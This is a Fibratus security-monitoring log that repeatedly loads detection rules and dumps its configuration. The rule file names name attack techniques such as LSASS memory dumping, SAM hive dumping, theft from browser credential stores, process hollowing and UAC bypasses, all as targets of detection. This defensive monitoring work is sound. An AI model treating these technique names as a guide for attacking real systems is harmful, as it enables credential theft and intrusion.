C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:23:08+01:00 level=info msg=bootstrapping with pid 9516. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:23:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 to=>[] enabled=>false use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-thread=>true min-buffers=>16 enable-vamap=>true enable-registry=>true enable-audit-api=>true buffer-size=>512 enable-threadpool=>false flush-interval=>1s enable-handle=>false enable-mem=>false enable-dns=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 max-backups=>15 max-age=>0 level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ flush-period=>1s healthcheck=>true index-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false sniff=>false timeout=>5s template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false] amqp=>[ tls-insecure-skip-verify=>false passive=>false exchange-type=>topic enabled=>false durable=>false timeout=>5s delivery-mode=>transient routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] enabled=>false timeout=>5s method=>POST]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-files=>false excluded-files=>[] scan-timeout=>10s skip-registry=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:23:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:23:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:23:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:23:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:23:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:23:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:23:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:52+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:23:52+01:00 level=info msg=bootstrapping with pid 5476. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:23:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true enable-fileio=>true enable-audit-api=>true enable-dns=>false enable-registry=>true flush-interval=>1s enable-threadpool=>false max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-vamap=>true enable-mem=>false min-buffers=>16 stack-enrichment=>true enable-handle=>false enable-net=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ http=>[ enable-gzip=>false serializer=>json enabled=>false timeout=>5s method=>POST endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true trace-log=>false timeout=>5s healthcheck-timeout=>5s index-name=>fibratus sniff=>false flush-period=>1s bulk-workers=>1 gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus exchange-type=>topic enabled=>false routing-key=>fibratus delivery-mode=>transient timeout=>5s durable=>false passive=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false scan-timeout=>10s enabled=>false skip-files=>false fastscan=>true excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:23:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:23:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:25:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:25:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:25:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:25:04+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml 